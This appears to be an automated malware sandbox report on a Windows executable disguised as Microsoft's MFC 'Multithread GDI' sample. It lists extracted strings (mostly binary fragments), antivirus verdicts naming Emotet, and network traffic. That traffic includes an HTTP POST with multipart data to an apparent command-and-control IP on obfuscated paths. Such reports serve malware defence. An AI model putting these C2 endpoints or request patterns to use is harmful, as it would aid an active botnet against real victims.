tV9_ uQ
P`_^[
9p u*
PSSSSS
HVtAHtXHuU
9t.9Q
t'SShl
Ph,sC
SSSSS
t79E`t2
E<LsC
Et;EX
t;9\$
9t/9Q
YYt*W
twhh|C
tfhX|C
tUhD|C
tDh0|C
t3h |C
;(r[V
F0t~C
PQQQQQ
QX_^]
F0t~C
S\_^[]
S\_^[]
rWWWW
v Wh!
FD_^][
t39w u&
_ 9w$u
u*9] t
O 9Htu
9M t
QX_^]
Q\_^]
u:j0^V
YYtLj
VwltB
j_j`V
j_j`V
PPPPhd
SVWj(3
F(|{C
SUVW3
EtSVW
_j X;
9=`JD
ChlzC
YYtphl
YYt_hh
QQSUVW
0UUUUW
UUUUW
_^][Y
WtrHHt
tA9wht<
9p t-S
9p$ty
VVUVS
g9n t_;
t"9^ u
9^,Wt
F,t]P
WWWWh
WWWWW
SSOWVQ
YYt!F
Ph_^[
WWWWQS
_^][Y
EP+EHj
EL+ED
EP+EH
EP+EHj
EL+ED
EP+EH
E,\sC
+F(_;E
F(@@;F,v
F(;^ r
F(;F0u
^(_^[]
N 9^0
PWVWWW
WVWWW
@ WWj
u"FPF
}|j
AQPQV
t%9n0u
9nDt%9n8u
9nLt#9n(u
F,_^][
~<9=\JD
'wXtR
w+t"
HtpHHt
HtvHt
<A|0<Z
1GG;E
<A|S<Z
1CC;E
k9~8uDj
F4_]^[
^(_^[
u$SShe
QQSUV
_^][u
@[^_]
WWWWW
wIVSP
VVVVV
\$ UV
D$,9h
QQSVWd
Y__^[
0WWWWW
0WWWWW
QSUVW
_^][Y
VVVVV
SSSSS
SSSSS
HH_^[
SSSSS
SSSSS
SSSSS
SSSSS
SSSSS
0SSSSS
SSSSS
SSSSS
Y__^[
0;1t|
VVVVV
VVVVV
YYuTVWh`~B
0SSSSS
WWWWW
YYt SVW
UUUUU
SSSSS
SSSSS
SSSSS
SSSSS
WWWWW
WWWWW
SSSSS
0SSSSS
SSSSS
SSSSS
Vj<RP
VVVVV
VVVVV
^WWWWW
^WWWWW
WWWWW
WWWWW
WWWWW
Wj<RS
VVVVV
VVVVV
VVVVV
PPPPP
<Yv8V
VVVVV
VVVVV
VVVVV
]_^[Y
s[S;7|G;w
tR99u2
@_^[]
YYt:V
Y;=xZD
tehjQB
YYt4V
WWWWW
YYu-9D$
u-9D$
, <Xw
HHt]+
2If90t
PPPPP
HHtAHHt
HHt]+
PPPPP
t$<"u
>=Yt/j
tJVUP
SSSSS
Y]_^[
< tK<
@PVSS
t#SSUP
t$$VSS
_^][YY
j(j ^V
Rj(j
Fh=pTD
Wto=8_D
t^9(uZ
Y_^][
^SSSSS
^SSSSS
j"^SSSSS
PPPPP
WWWWW
SSSSS
dF<-uE
]t:F:
YYj0[
PPPPP
PPPPPPPP
PPPPPPPP
PPPPPPPP
_VVVVV
SSSSS
SSSSS
^WWWWW
PPPPP
SSSSS
SSSSS
VVVVV
^WWWWW
VVVVV
VVVVV
VVVVV
SSSSS
SSSSS
SSSSS
SSSSS
SSSSS
>:u8FV
SSSSS
jd_Fj
PPPPP
VVVVV
PVVRV
.VVVVVSRSSj
VVVVVj
SSSSS
tm95l
SSSSS
VVVVV
SVWUj
;t$,v-
UQPXY]Y[
WWWWW
WWWWW
VVVVV
VVVVV
WWWWW
VVVVV
VVVVV
^SSSSS
j"^SSSSS
QSWVj
u8SS3
9]$SS
9] SS
v$;5\_D
WWWWW
WWWWW
SSSSW
SSSSW
0SSSSS
PPPPP
_VVVVV
VW|[;
VVVVV
~,WPV
WWWWV
t+WWVPV
SSSSS
SSSSS
WWWWW
WWWWW
WWWWW
SSSSS
<+t(<-t$:
+t HHt
u&f!;f;
VVVVV
VVVVV
SSSSS
SSSSS
QQSV3
VVVVj
WWWWW
WWWWW
SSSSS
t{~Bj
SSSSS
SSSSS
SSSSS
tSj=V
YYt\VV
SSSSS
WWWWW
9~$~!S
G;~$|
QRPhD
[@E~J
Pd{=I
P+faL|
S~h8=
aV,c/
3?V]t
"M^5Z
CMainFrame
bad allocation
383669855
KERNEL32.dll
oZBxkLsLiJFSO3a9IoMIyZkzLOJ3nGc0VNabCJMX5D5W7v5j0GliW3Lo4EtenF5o
3m2ly509XGedqCqhCjYmrrIQDs
CThreadDoc
CThreadView
CLineThread
CRectThread
CBallThread
CGDIThread
CControlBar
CView
CFrameWnd
ImageList_Draw
ImageList_GetImageInfo
ToolbarWindow32
ReBarWindow32
MSWHEEL_ROLLMSG
CInvalidArgException
CNotSupportedException
CMemoryException
CException
COleException
CLSID
DISPLAY
AfxWnd80s
AfxControlBar80s
AfxMDIFrame80s
AfxFrameOrView80s
AfxOleControl80s
AfxOldWndProc423
EnumDisplayDevicesA
GetMonitorInfoA
EnumDisplayMonitors
MonitorFromPoint
MonitorFromRect
MonitorFromWindow
GetSystemMetrics
USER32
InitCommonControls
InitCommonControlsEx
HtmlHelpA
hhctrl.ocx
F#32768
%s (%s:%d)
%s (%s:%d)
Exception thrown in destructor
f:\rtm\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
CCmdTarget
CWinApp
Settings
PreviewPages
DeactivateActCtx
ActivateActCtx
ReleaseActCtx
CreateActCtxA
KERNEL32
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
NoRun
NoDrives
RestrictRun
NoNetConnectDisconnect
NoRecentDocsHistory
NoClose
Software\Microsoft\Windows\CurrentVersion\Policies\Network
NoEntireNetwork
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
NoPlacesBar
NoBackButton
NoFileMru
Automation
Embedding
Unregserver
Unregister
Regserver
Register
ntdll.dll
Control Panel\Desktop\ResourceLocale
GetSystemDefaultUILanguage
GetUserDefaultUILanguage
kernel32.dll
%s.dll
CWinThread
Software\
CDialog
MS Shell Dlg
CSingleDocTemplate
CDocument
ReplaceFileA
CObList
CSplitterWnd
CBitmap
CFont
CBrush
CGdiObject
CPaintDC
CWindowDC
CClientDC
CUserException
CResourceException
combobox
CPtrList
CObArray
CreateActCtxW
comctl32.dll
comdlg32.dll
CMenu
CImageList
ImageList_Destroy
CObject
Delete
NoRemove
ForceRemove
CArchiveException
CDockBar
CToolBar
CReBar
CMapPtrToPtr
software
CDocManager
%s\shell\open\%s
%s\shell\print\%s
%s\shell\printto\%s
%s\DefaultIcon
%s\ShellNew
command
"%1"
/p "%1"
/pt "%1" "%2" "%3" "%4"
/dde
ddeexec
[open("%1")]
[print("%1")]
[printto("%1","%2","%3","%4")]
NullFile
[printto("
[print("
[open("
CFile
InProcServer32
f:\rtm\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}
DllGetClassObject
System
CDocTemplate
CFileException
CPtrArray
NotifyWinEvent
user32.dll
CFileDialog
GetOpenFileNameA
GetSaveFileNameA
CByteArray
commdlg_SetRGBColor
commdlg_help
commdlg_ColorOK
commdlg_FileNameOK
commdlg_ShareViolation
commdlg_LBSelChangedNotify
Unknown exception
CorExitProcess
mscoree.dll
runtime error
TLOSS error
SING error
DOMAIN error
R6034
An application has made an attempt to load the C runtime library incorrectly.
Please contact the application's support team for more information.
R6033
- Attempt to use MSIL code from this assembly during native code initialization
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
R6032
- not enough space for locale information
R6031
- Attempt to initialize the CRT more than once.
This indicates a bug in your application.
R6030
- CRT not initialized
R6028
- unable to initialize heap
R6027
- not enough space for lowio initialization
R6026
- not enough space for stdio initialization
R6025
- pure virtual function call
R6024
- not enough space for _onexit/atexit table
R6019
- unable to open console device
R6018
- unexpected heap error
R6017
- unexpected multithread lock error
R6016
- not enough space for thread data
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
R6009
- not enough space for environment
R6008
- not enough space for arguments
R6002
- floating point not loaded
Microsoft Visual C++ Runtime Library
<program name unknown>
Runtime Error!
Program:
bad exception
EncodePointer
KERNEL32.DLL
DecodePointer
FlsFree
FlsSetValue
FlsGetValue
FlsAlloc
(null)
( 8PX
700WP
`h````
xpxxxx
('8PW
700PP
`h`hhh
xppwpp
!"#$%&'()*+,-./0123456789:;<=>[email protected][\]^_`abcdefghijklmnopqrstuvwxyz{|}~
InitializeCriticalSectionAndSpinCount
e+000
GAIsProcessorFeaturePresent
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
Complete Object Locator'
Class Hierarchy Descriptor'
Base Class Array'
Base Class Descriptor at (
Type Descriptor'
`local static thread guard'
`managed vector copy constructor iterator'
`vector vbase copy constructor iterator'
`vector copy constructor iterator'
`dynamic atexit destructor for '
`dynamic initializer for '
`eh vector vbase copy constructor iterator'
`eh vector copy constructor iterator'
`managed vector destructor iterator'
`managed vector constructor iterator'
`placement delete[] closure'
`placement delete closure'
`omni callsig'
delete[]
new[]
`local vftable constructor closure'
`local vftable'
`RTTI
`udt returning'
`copy constructor closure'
`eh vector vbase constructor iterator'
`eh vector destructor iterator'
`eh vector constructor iterator'
`virtual displacement map'
`vector vbase constructor iterator'
`vector destructor iterator'
`vector constructor iterator'
`scalar deleting destructor'
`default constructor closure'
`vector deleting destructor'
`vbase destructor'
`string'
`local static guard'
`typeof'
`vcall'
`vbtable'
`vftable'
operator
delete
__unaligned
__restrict
__ptr64
__clrcall
__fastcall
__thiscall
__stdcall
__pascal
__cdecl
__based(
GetProcessWindowStation
GetUserObjectInformationA
GetLastActivePopup
GetActiveWindow
MessageBoxA
USER32.DLL
!"#$%&'()*+,-./0123456789:;<=>[email protected][\]^_`abcdefghijklmnopqrstuvwxyz{|}~
!"#$%&'()*+,-./0123456789:;<=>[email protected][\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
HH:mm:ss
dddd, MMMM dd, yyyy
MM/dd/yy
December
November
October
September
August
April
March
February
January
Saturday
Friday
Thursday
Wednesday
Tuesday
Monday
Sunday
1#QNAN
1#INF
1#IND
1#SNAN
CONOUT$
string too long
invalid string position
=L9o<
OLEACC.dll
CreateStdAccessibleObject
LresultFromObject
InterlockedExchange
MultiByteToWideChar
WideCharToMultiByte
GetLastError
GetVersion
CompareStringA
CompareStringW
lstrcmpiA
lstrlenA
GetStringTypeExA
SizeofResource
LockResource
LoadResource
FindResourceA
CloseHandle
DeleteCriticalSection
GetCurrentProcess
LoadLibraryExA
LoadLibraryExW
InitializeCriticalSection
SetThreadPriority
ResumeThread
Sleep
WaitForSingleObject
SetEvent
CreateEventA
LeaveCriticalSection
EnterCriticalSection
SetLastError
GlobalAddAtomA
GlobalGetAtomNameA
LoadLibraryA
GetModuleHandleA
GetProcAddress
GetCurrentProcessId
GlobalUnlock
GlobalLock
MulDiv
LocalFree
FormatMessageA
GlobalAlloc
GlobalFree
GetVersionExA
lstrcmpW
FreeLibrary
GlobalDeleteAtom
GlobalFindAtomA
GetCurrentThreadId
FreeResource
lstrcmpA
GetLocaleInfoA
EnumResourceLanguagesA
GetModuleFileNameA
ConvertDefaultLocale
GetCurrentThread
SuspendThread
GetFileAttributesA
SetFileTime
GetFileTime
GetTempFileNameA
GetFullPathNameA
GetDiskFreeSpaceA
GlobalFlags
LocalAlloc
TlsGetValue
GlobalReAlloc
GlobalHandle
TlsAlloc
TlsSetValue
LocalReAlloc
TlsFree
GetModuleFileNameW
InterlockedDecrement
InterlockedIncrement
GetCPInfo
GetOEMCP
WritePrivateProfileStringA
MoveFileA
DeleteFileA
ReadFile
WriteFile
SetFilePointer
FlushFileBuffers
LockFile
UnlockFile
SetEndOfFile
GetFileSize
GetThreadLocale
DuplicateHandle
FindClose
FindFirstFileA
GetVolumeInformationA
GetShortPathNameA
CreateFileA
FileTimeToSystemTime
SystemTimeToFileTime
FileTimeToLocalFileTime
LocalFileTimeToFileTime
SetErrorMode
HeapAlloc
HeapFree
HeapReAlloc
VirtualAlloc
RtlUnwind
RaiseException
GetCommandLineA
GetProcessHeap
GetStartupInfoA
ExitProcess
ExitThread
CreateThread
HeapSize
VirtualFree
HeapDestroy
HeapCreate
GetStdHandle
TerminateProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsDebuggerPresent
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
GetEnvironmentStringsW
SetHandleCount
GetFileType
QueryPerformanceCounter
GetTickCount
GetSystemTimeAsFileTime
GetACP
GetTimeZoneInformation
GetConsoleCP
GetConsoleMode
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
SetStdHandle
WriteConsoleA
GetConsoleOutputCP
WriteConsoleW
SetEnvironmentVariableA
KERNEL32.dll
CharUpperA
EnableWindow
GetSystemMenu
InvalidateRect
SetRect
OffsetRect
GetClientRect
TranslateAcceleratorA
IsWindow
GetWindowLongA
ShowWindow
GetWindow
GetDesktopWindow
SetMenu
PostMessageA
BringWindowToTop
GetLastActivePopup
CopyRect
SetRectEmpty
IntersectRect
GetClassInfoA
CreatePopupMenu
GetMenuItemCount
GetMenuItemID
GetSubMenu
InsertMenuItemA
SendMessageA
IsIconic
UpdateWindow
IsWindowVisible
SetActiveWindow
GetParent
LoadAcceleratorsA
ReleaseCapture
GetCapture
PeekMessageA
SetCursor
LoadIconA
GetMenu
GetDlgCtrlID
GetKeyState
SetWindowLongA
GetDlgItem
EqualRect
GetFocus
IsWindowEnabled
GetActiveWindow
GetWindowThreadProcessId
SetFocus
SetWindowPos
WinHelpA
GetSysColor
GetClassNameA
DestroyMenu
LoadMenuA
ReuseDDElParam
UnpackDDElParam
RegisterWindowMessageA
GetMenuState
GetSystemMetrics
GetWindowRect
GetWindowPlacement
SystemParametersInfoA
CallWindowProcA
DefWindowProcA
PtInRect
DeferWindowPos
ScreenToClient
AdjustWindowRectEx
RegisterClassA
GetClassInfoExA
CreateWindowExA
MessageBoxA
SetForegroundWindow
TrackPopupMenu
MapWindowPoints
GetMessagePos
GetMessageTime
UnhookWindowsHookEx
DestroyWindow
GetTopWindow
EndDeferWindowPos
BeginDeferWindowPos
DispatchMessageA
GetForegroundWindow
GetWindowTextA
RemovePropA
GetPropA
SetPropA
GetClassLongA
CallNextHookEx
SetWindowsHookExA
IsChild
SendDlgItemMessageA
CheckMenuItem
EnableMenuItem
ModifyMenuA
LoadBitmapA
GetMenuCheckMarkDimensions
SetMenuItemBitmaps
IsDialogMessageA
SetWindowTextA
PostQuitMessage
ValidateRect
GetCursorPos
TranslateMessage
GetMessageA
ShowOwnedPopups
EndDialog
GetNextDlgTabItem
CreateDialogIndirectParamA
FillRect
TabbedTextOutA
DrawTextA
DrawTextExA
GrayStringA
ClientToScreen
GetDC
ReleaseDC
GetWindowDC
BeginPaint
EndPaint
InflateRect
GetMenuItemInfoA
GetSysColorBrush
LoadCursorA
DestroyIcon
UnregisterClassA
USER32.dll
Ellipse
Rectangle
GdiFlush
CreateCompatibleBitmap
CreateCompatibleDC
GetDeviceCaps
GetClipBox
SetTextColor
SetBkColor
GetObjectA
CreateBitmap
SaveDC
RestoreDC
SetBkMode
SetMapMode
LineTo
MoveToEx
DeleteObject
BitBlt
GetPixel
PtVisible
RectVisible
TextOutA
ExtTextOutA
Escape
SelectObject
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
SetWindowExtEx
ScaleWindowExtEx
DeleteDC
CreatePatternBrush
GetStockObject
CreatePen
CreateSolidBrush
CreateFontIndirectA
GetTextExtentPoint32A
GDI32.dll
GetFileTitleA
comdlg32.dll
ClosePrinter
DocumentPropertiesA
OpenPrinterA
WINSPOOL.DRV
RegCloseKey
RegSetValueA
RegOpenKeyA
RegQueryValueExA
RegOpenKeyExA
RegDeleteKeyA
RegEnumKeyA
RegQueryValueA
SetFileSecurityA
GetFileSecurityA
RegCreateKeyExA
RegSetValueExA
RegCreateKeyA
ADVAPI32.dll
DragFinish
DragQueryFileA
ExtractIconA
SHGetFileInfoA
SHELL32.dll
PathFindExtensionA
PathFindFileNameA
PathStripToRootA
PathIsUNCA
SHLWAPI.dll
OLEAUT32.dll
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
z?aUY
zc%C1
-64OS
bJ^V}R
ypF~3=
y\Dk=
`bgV\T
PwU-P
;{v3De
U0#F?
2z{>X
]]O{!
>gQ%L
XkJt:
L',qR
6d-D
$t!Xh
FrE+b
N}wb(
)6*P,
Uh(ScNS
=t0o3
4_RqH
QPTYtR
_o,Q4
u/W=.X
Q:gb0
V07FhM
8x.vt*\ T
`^5w!
FX`CYWP
||N+AA
!QiTb
^jeqn
\e<Nvie`;
r)dV>
oCWBFA
:dKZC
1xthmIo
:wpKX
{xJm^
VDH;<
8>6-lz
p#R]%
At[u,
Ou>*Z
.B(}w
VUf,%
j~3eJ
fUn2[
ZD+]E
ku2='
hS!c`(
G:;Ky
lSk9mev
&{|Yv`
:F&Pm
Tx[:&5
9ozP{
NFo^v
M3$Yh('`
n>W[?
)/ AI
$rXw\&F
bG#Zc\i2
);G!2
xbaHL
~ND%S
rqF9~}/x
!faD
Q6l$M
y'nI[
T0hAp
!}3Kt
'bpNgF
x<9_XW
\B.B:
M/R]3
Y(F?Aq
\#-u=
3G&L.X
KO4oDi|
39RHX
}NJZr
]"/ bD&X
V%p?XG
NLZfx0
>gF6w
E=-HX
!\Bdpl
2:tX0
JWzd$
Ya/gV
]]z;s
bXzWT
'"r*u
e]rX8S
a]]/y
f.zJDi<?s
)"Xq^
vRGy>
N.ii.
S[Dw*E:
uWV~b"
t:t)+IY:
C),&$
TYLC.
6|R8A
ZQ[,T
D)|?Hj
: h9$_
:S?%`B
eYA]C
)g!vB
wabYb
O]~s9{a0
M#|2ZQ
CKCy7]
uEo>&h!
~cG]&6
P0e'f0
_|tiR^4
BkT"nvZV
h*x4V
H_ZqQw
_g=\H/,
R6W)C
dEEfJz
Il.Edd^'
yW[ICl
R}3:#*K
0Ic;e
wB[M\
hh TK+
,q'Sq
,9b9{
5Fl}Z!y
.\gbe
q|)K^M
9]B$?zK
U(?y.
Ko-r$}
"@RPZ1e
@->)4
iw+f1
$Ses0
s.;SN
'F4bD
/Uf$n
M9)0A
*D-bGx
zftgC
H%a]T
+6bec!
.>(rg
Gx"&:D
{ ;x=
1wiZfUWO
Q._s>
6xEdRn
TQtq'vb
<5d)h
i%rGI5%
uLWjK
$hDV\
QpG(7
XT!ZLc
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD
A!A2AJAbA
jjjjj
WerFault.exe
accParent
accChildCount
accChild
accName
accValue
accDescription
accRole
accState
accHelp
accHelpTopic
accKeyboardShortcut
accFocus
accSelection
accDefaultAction
accSelect
accLocation
accNavigate
accHitTest
accDoDefaultAction
D(null)
((((( H
h(((( H
H
&Thread
New &Ball
10 New Balls
25 New Balls
New &Rectangle
10 New Rectangles
25 New Rectangles
New &Line
10 New Lines
25 New Lines
&Kill Threads (fast)
Kill Threads (slow)
E&xit
&Help
&About Multithread GDI...
About Multithread GDI
MS Sans Serif
Multithread GDI Version 1.0
2005 Microsoft Corporation. All rights reserved.
All Rights Reserved.
MS Shell Dlg
&New
Cancel
&Help
MS Shell Dlg
CMultithread GDI (no threads)
mtgdi
mtgdi.Document
MTGDI Document
Multithread GDI (%d threads)
Multithread GDI (no threads)
Multithread GDI (no threads)
Save As
All Files (*.*)
Untitled
an unnamed file
&Hide
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
Out of memory.
An unknown error has occurred.$An invalid argument was encountered.
Linked %s
Unknown Type
Invalid filename.
Failed to open document.
Failed to save document.
Save changes to %1? Failed to create empty document.
The file is too large to open.
Could not start print job.
Failed to launch help.
Internal application error.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Please enter an integer.
Please enter a number.*Please enter an integer between %1 and %2.(Please enter a number between %1 and %2.(Please enter no more than %1 characters.
Please select a button.*Please enter an integer between 0 and 255. Please enter a positive integer. Please enter a date and/or time.
Please enter a currency.
Please enter a GUID.
Please enter a time.
Please enter a date.
Unexpected file format.V%1
Cannot find this file.
Please verify that the correct path and file name are given.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
%1: %2
Continue running script?
Dispatch exception: %1
6The file is not supported by a Document Object server.A%1
Unable to register document.
The document may already be open.
#Unable to read write-only property.#Unable to write read-only property.
#Unable to load mail system support.
Mail system DLL is invalid.!Send Mail failed to send message.
No error occurred.-An unknown error occurred while accessing %1.
%1 was not found.
%1 contains an invalid path.=%1 could not be opened because there are too many open files.
Access to %1 was denied..An invalid file handle was associated with %1.<%1 could not be removed because it is the current directory.6%1 could not be created because the directory is full.
Seek failed on %15A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Disk full while accessing %1..An attempt was made to access %1 past its end.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
%1 has a bad format."%1 contained an unexpected object. %1 contains an incorrect schema.
pixels
Uncheck
Check
Mixed
VS_VERSION_INFO
StringFileInfo
040904b0
FileDescription
MTGDI MFC Application
FileVersion
1, 0, 0, 1
InternalName
MTGDI
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
MTGDI.EXE
ProductName
MTGDI Application
ProductVersion
1, 0, 0, 1
VarFileInfo
Translation

Full Results

Engine Signature Engine Signature Engine Signature
Bkav Clean MicroWorld-eScan Clean CMC Clean
CAT-QuickHeal Clean ALYac Clean Malwarebytes Clean
Zillya Clean Sangfor Clean K7AntiVirus Clean
Alibaba Clean K7GW Clean Cybereason Clean
TrendMicro Clean Baidu Clean Cyren Clean
Symantec Clean ESET-NOD32 Clean APEX Malicious
Paloalto generic.ml ClamAV Clean Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Clean NANO-Antivirus Clean ViRobot Clean
SUPERAntiSpyware Clean Avast Clean Tencent Clean
Ad-Aware Clean Sophos Clean Comodo Clean
F-Secure Clean DrWeb Clean VIPRE Clean
Invincea heuristic McAfee-GW-Edition Artemis Trapmine Clean
FireEye Clean Emsisoft Clean SentinelOne Clean
F-Prot Clean Jiangmin Clean Webroot Clean
Avira Clean eGambit Clean Antiy-AVL Clean
Kingsoft Clean Microsoft Trojan:Win32/Emotet!ibt Endgame malicious (high confidence)
Arcabit Clean AegisLab Clean ZoneAlarm UDS:DangerousObject.Multi.Generic
Avast-Mobile Clean GData Clean TACHYON Clean
AhnLab-V3 Clean Acronis Clean McAfee Emotet-FQQ!9BB890A8D6BE
MAX Clean VBA32 Clean Cylance Clean
Zoner Clean TrendMicro-HouseCall Clean Rising Clean
Yandex Clean Ikarus Clean MaxSecure Clean
Fortinet W32/GenKryptik.EKZK!tr BitDefenderTheta Gen:[email protected] AVG Clean
Panda Clean CrowdStrike win/malicious_confidence_60% (W) Qihoo-360 Clean
Sorry! No behavior.

Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 52.114.159.112 [VT] United States
Y 40.90.218.0 [VT] United States
Y 2.20.74.110 [VT] Europe
Y 172.217.23.174 [VT] United States
Y 144.139.91.187 [VT] Australia

TCP

Source Source Port Destination Destination Port
192.168.1.6 49186 13.107.42.23 443
192.168.1.6 49188 13.107.42.23 443
192.168.1.6 49199 144.139.91.187 80
192.168.1.6 49209 144.139.91.187 80
192.168.1.6 49205 172.217.23.174 80
192.168.1.6 49194 2.20.74.110 443
192.168.1.6 49184 40.90.218.0 443
192.168.1.6 18054 52.114.128.10 1987
192.168.1.6 23308 52.114.128.10 61950
192.168.1.6 49210 52.114.128.10 443
192.168.1.6 64443 52.114.159.112 62836
192.168.1.6 49203 52.114.159.112 443
192.168.1.6 49208 52.114.159.112 443
192.168.1.6 49193 93.184.220.29 80
192.168.1.6 49211 93.184.220.29 80

UDP

Source Source Port Destination Destination Port
192.168.1.6 137 192.168.1.255 137
192.168.1.6 50764 8.8.8.8 53
192.168.1.6 50797 8.8.8.8 53
192.168.1.6 52555 8.8.8.8 53
192.168.1.6 56219 8.8.8.8 53
192.168.1.6 56304 8.8.8.8 53
192.168.1.6 57593 8.8.8.8 53
192.168.1.6 58697 8.8.8.8 53
192.168.1.6 60016 8.8.8.8 53
192.168.1.6 63241 8.8.8.8 53
192.168.1.6 63713 8.8.8.8 53
192.168.1.6 64201 8.8.8.8 53
192.168.1.6 65048 8.8.8.8 53

DNS

No domains contacted.

HTTP Requests

URI Data
http://144.139.91.187/zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/
POST /zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/ HTTP/1.1
Referer: http://144.139.91.187/zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/
Content-Type: multipart/form-data; boundary=---------------------------972749652568326
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; InfoPath.3)
Host: 144.139.91.187
Content-Length: 4516
Connection: Keep-Alive
Cache-Control: no-cache

http://144.139.91.187/nfJJ28w1ZV995N2Tpu/
